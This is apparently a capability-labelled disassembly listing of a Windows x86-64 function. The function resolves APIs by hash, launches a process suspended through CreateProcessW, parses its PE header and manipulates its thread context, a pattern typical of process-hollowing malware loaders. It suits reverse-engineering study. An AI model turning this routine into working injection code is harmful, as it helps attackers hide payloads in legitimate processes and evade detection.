Function at 0x7ff6fff41a60
Capabilities:
Create process on windows
Create process suspended

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 8], rcx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x50
mov r15, r8
mov rsi, rcx
lea r14, [rcx + 0x58]
xorps xmm0, xmm0
movups xmmword [r14], xmm0
xor r12d, r12d
mov qword [r14 + 0x10], r12
mov qword [r14 + 0x18], 7
mov word [r14], r12w
lea rbx, [rcx + 0x78]
mov qword [rbx], r12
mov qword [rbx + 8], r12
mov qword [rbx + 0x10], r12
cmp r14, rdx
je 0x7ff6fff41afe
mov rax, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 7
jbe 0x7ff6fff41ac1
mov rdx, qword [rdx]
mov rcx, qword [r14 + 0x18]
cmp rax, rcx
ja 0x7ff6fff41af0
mov rbp, r14
cmp rcx, 7
jbe 0x7ff6fff41ad6
mov rbp, qword [r14]
mov qword [r14 + 0x10], rax
lea rdi, [rax + rax]
mov r8, rdi
mov rcx, rbp
call fcn.7ff700032f70
mov word [rdi + rbp], r12w
jmp 0x7ff6fff41afe
mov r9, rdx
mov rdx, rax
mov rcx, r14
call fcn.7ff6fff42010
cmp rbx, r15
je 0x7ff6fff41b15
mov rdx, qword [r15]
mov r8, qword [r15 + 8]
sub r8, rdx
mov rcx, rbx
call fcn.7ff6fff41ee0
mov byte [rsi + 0x90], 0
mov edx, 0x970a2143
call fcn.7ff6fff44410
mov rbx, rax
mov edx, 0x531fe11b
call fcn.7ff6fff44410
mov rdi, rax
mov r8d, 0xd470ebef
mov rdx, rax
call fcn.7ff6fff44530
mov qword [rsi], rax
mov r8d, 0xd297e3dd
mov rdx, rdi
call fcn.7ff6fff44530
mov qword [rsi + 8], rax
mov r8d, 0xfc07123a
mov rdx, rdi
call fcn.7ff6fff44530
mov qword [rsi + 0x10], rax
mov r8d, 0x8b798174
mov rdx, rdi
call fcn.7ff6fff44530
mov qword [rsi + 0x18], rax
mov r8d, 0x3dd8c880
mov rdx, rdi
call fcn.7ff6fff44530
mov qword [rsi + 0x20], rax
mov r8d, 0xa103f981
mov rdx, rdi
call fcn.7ff6fff44530
mov qword [rsi + 0x28], rax
mov r8d, 0x8a52fa8
mov rdx, rdi
call fcn.7ff6fff44530
mov qword [rsi + 0x30], rax
mov r8d, 0x863e3802
mov rdx, rdi
call fcn.7ff6fff44530
mov qword [rsi + 0x38], rax
mov r8d, 0x3ab31b09
mov rdx, rbx
call fcn.7ff6fff44530
mov qword [rsi + 0x40], rax
mov r8d, 0x5677504c
mov rdx, rbx
call fcn.7ff6fff44530
mov qword [rsi + 0x48], rax
mov r8d, 0x96c2cc4e
mov rdx, rbx
call fcn.7ff6fff44530
mov qword [rsi + 0x50], rax
mov word [rsi + 0x110], r12w
mov dword [rsi + 0x180], 0x10000b
lea rdx, [rsi + 0xd0]
mov rdi, rdx
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov rdi, rdx
mov ecx, 0x68
rep stosb byte [rdi], al
cmp qword [r14 + 0x18], 7
jbe 0x7ff6fff41c34
mov r14, qword [r14]
lea rdi, [rsi + 0x138]
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateProcessW]
test eax, eax
je 0x7ff6fff41caa
mov rcx, qword [rsi + 0x78]
mov qword [rsi + 0xb0], rcx
mov qword [rsi + 0x98], rcx
mov eax, 0x5a4d
cmp word [rcx], ax
je 0x7ff6fff41c9c
mov rax, qword [rsi]
mov edx, 1
mov rcx, qword [rdi]
call rax
jmp 0x7ff6fff41caa
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsi + 0xa0], rax
mov rcx, rsi
call fcn.7ff6fff41d20
mov rax, qword [rsi + 0x20]
lea rdx, [rsi + 0x150]
mov rcx, qword [rsi + 0x140]
call rax
mov rax, qword [rsi + 0x30]
xor edx, edx
mov rcx, qword [rsi + 0x140]
call rax
cmp byte [rsi + 0x90], 0
je 0x7ff6fff41cec
mov rax, qword [rsi + 0x38]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rdi]
call rax
mov rcx, qword [rsi + 0x140]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rdi]
call qword [sym.imp.kernel32.dll_CloseHandle]
nop
mov rax, rsi
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret